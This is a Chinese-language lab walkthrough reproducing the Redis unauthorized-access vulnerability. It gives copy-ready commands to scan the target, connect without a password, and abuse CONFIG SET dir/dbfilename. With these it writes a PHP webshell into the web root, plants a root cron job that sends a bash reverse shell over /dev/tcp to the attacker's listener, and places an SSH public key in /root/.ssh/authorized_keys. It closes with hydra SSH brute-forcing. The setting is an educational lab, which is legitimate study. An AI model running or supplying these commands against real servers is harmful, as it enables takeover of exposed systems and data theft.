未授权访问漏洞-Redis未授权访问漏洞

文章目录

  • 未授权概述
  • 常见未授权访问漏洞
  • Redis未授权访问
    • Redis简介
    • 应用场景
    • Redis 架构
    • 漏洞发现
      • 端口
      • 端口探测
    • Redis常用命令
    • Redis历史漏洞
      • Redis未授权访问
      • Redis主从复制RCE
    • Redis未授权访问漏洞复现
      • 漏洞利用方法
      • 实验环境
      • 信息收集
    • 进行Redis未授权访问漏洞利用。
      • Redis未授权写webshell
      • Redis未授权写定时任务反弹shell
        • kali使用nc开启监听
        • 写定时任务
      • Redis未授权写SSH公钥获得shell
      • 爆破ssh

未授权概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

常见未授权访问漏洞

Redis 未授权访问漏洞
Docker 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞

Redis未授权访问

Redis简介

https: www.redis.com.cn/redis-intro.html

Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。

应用场景

Redis 主要有两个应用场景:
1. 存储 缓存 用的数据;
2. 需要高速读/写的场合使用它快速读/写;

Redis 架构

Redis 主要由有两个程序组成:
Redis 客户端 redis-cli
Redis 服务器 redis-server
客户端、服务器可以位于同一台计算机或两台不同的计算机中。

漏洞发现

端口

Redis 服务默认监听在6379端口上

MongoDB:27017
Memcached:11211
Jboss:8080
VNC:5900、5901
Docker:2375

端口探测

nmap端口扫描

nmap -v -Pn -p 6379 -sV IP

v:显示过程

Pn:no ping

sV:版本探测

未授权访问漏洞-Redis未授权访问漏洞_第1张图片

Redis常用命令

redis连接远程服务器:
redis-cli -h host -p port -a password

set testkey "Hello World"
# 设置键testkey的值为字符串

get testkey
# 获取键testkey的内容

set score 99
# 设置键score的值为99

incr score
# 使用INCR命令将score的值增加1

get score
# 获取键score的内容

keys *
# 列出当前数据库中所有的键

config set dir /home/test
# 设置工作目录

config set dbfilename redis.rdb 
# 设置备份文件名

config get dir
# 检查工作目录是否设置成功

config get dbfilename
# 检查备份文件名是否设置成功

save
# 进行一次备份操作

flushall
# 删除所有数据

del key
# 删除键为key的数据

Redis历史漏洞

Redis未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

  1. 导致敏感信息泄露
  2. 执行 flushall 可清空所有数据
  3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)
  4. 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录

Redis主从复制RCE

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的

Redis未授权访问漏洞复现

漏洞利用方法

  1. 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
  2. 通过redis数据备份功能写定时任务,通过定时任务反弹Shell
  3. 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器

实验环境

目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200  
  
攻击机器:Kali、IP地址:10.1.1.100  

信息收集

通过 nmap 进行信息收集,寻找可能利用的点

未授权访问漏洞-Redis未授权访问漏洞_第2张图片

发现开放22\80\6379

22端口:ssh远程登录  
  
80端口:http网站服务  
  
6379端口:redis服务  
  

发现开启80端口,试着访问一下

未授权访问漏洞-Redis未授权访问漏洞_第3张图片

使用目录扫描工具 dirsearch 扫描发现敏感目录、页面,发现存在phpinfo信息泄露

python3 dirsearch.py -u 10.1.1.200 -e php

未授权访问漏洞-Redis未授权访问漏洞_第4张图片

未授权访问漏洞-Redis未授权访问漏洞_第5张图片

访问查看phpinfo信息

未授权访问漏洞-Redis未授权访问漏洞_第6张图片

目标机器存在6379即Redis服务,尝试测试是否存在Redis未授权漏洞

首先下载Redis客户端连接工具(工具包里),解压后进入Redis目录,然后通过make进行编译,即可使用Redis-cli尝试连接Redis服务器:

未授权访问漏洞-Redis未授权访问漏洞_第7张图片

编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到 /usr/bin 目录即可以在终端的任意目录下执行redis-cli

cd src/  
  
cp redis-cli /usr/bin  
  
cd ../../  
  
redis-cli -h 10.1.1.200 -p 6379  

-h:指定连接的redis服务器  
  
-p:指定redis服务器端口  
  
info:打印系统信息,如Redis的版本、目标系统版本、系统架构等    

如下图确实存在Redis未授权访问漏洞

未授权访问漏洞-Redis未授权访问漏洞_第8张图片

进行Redis未授权访问漏洞利用。

Redis未授权写webshell

通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限

要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径,第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html

未授权访问漏洞-Redis未授权访问漏洞_第9张图片

通过执行如下命令写入一句话木马到网站根目录:

redis-cli -h 10.1.1.200 -p 6379     #连接redis服务器  
  
config set dir /var/www/html      #设置工作目录 
  
config set dbfilename shell.php    #设置备份文件的文件名  
  
set x ""   

#添加一个键”x”,值为一句话木马  
  
save     #保存  
  

未授权访问漏洞-Redis未授权访问漏洞_第10张图片

注意:设置键值为一句话木马时,可以使用如下形式:

set x "\r\n\r\n\r\n\r\n"

解释:”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

通过浏览器访问对应页面确认是否写入文件成功,显示如下,说明成功写入:

未授权访问漏洞-Redis未授权访问漏洞_第11张图片

然后即可通过工具包里面提供的蚁剑连接一句话木马:

./AntSword #打开蚁剑

未授权访问漏洞-Redis未授权访问漏洞_第12张图片

选择工作目录,选择放置源码的文件夹,然后手动启动 ./AntSword

未授权访问漏洞-Redis未授权访问漏洞_第13张图片

未授权访问漏洞-Redis未授权访问漏洞_第14张图片

未授权访问漏洞-Redis未授权访问漏洞_第15张图片

未授权访问漏洞-Redis未授权访问漏洞_第16张图片

Redis未授权写定时任务反弹shell

kali使用nc开启监听
nc-lvvp 4433
写定时任务
redis-cli -h 10.1.1.200 -p 6379 #连接目标redis服务

set z "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"

#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1

config set dir /var/spool/cron    #设置备份路径

config set dbfilename root    #设置备份文件名

save          #保存

未授权访问漏洞-Redis未授权访问漏洞_第17张图片

等待一分钟后即可得到目标shell

Redis未授权写SSH公钥获得shell

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。

生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:

ssh-keygen -t rsa

未授权访问漏洞-Redis未授权访问漏洞_第18张图片

将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

未授权访问漏洞-Redis未授权访问漏洞_第19张图片

将foo.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
1)连接Redis

redis-cli -h 10.1.1.200 -p 6379

2)设置备份文件路径

config set dir /root/.ssh/

3)设置上传公钥的备份文件名字为authorized_keys

config set dbfilename "authorized_keys"

save

未授权访问漏洞-Redis未授权访问漏洞_第20张图片

远程连接目标机器

ssh [email protected] -i /root/.ssh/id_rsa

未授权访问漏洞-Redis未授权访问漏洞_第21张图片

爆破ssh

hydra工具

创建字典

未授权访问漏洞-Redis未授权访问漏洞_第22张图片

使用hydra进行爆破。

未授权访问漏洞-Redis未授权访问漏洞_第23张图片

用爆破出来的密码进行远程连接。

未授权访问漏洞-Redis未授权访问漏洞_第24张图片

你可能感兴趣的:(漏洞复现,redis,数据库,缓存,web安全,安全)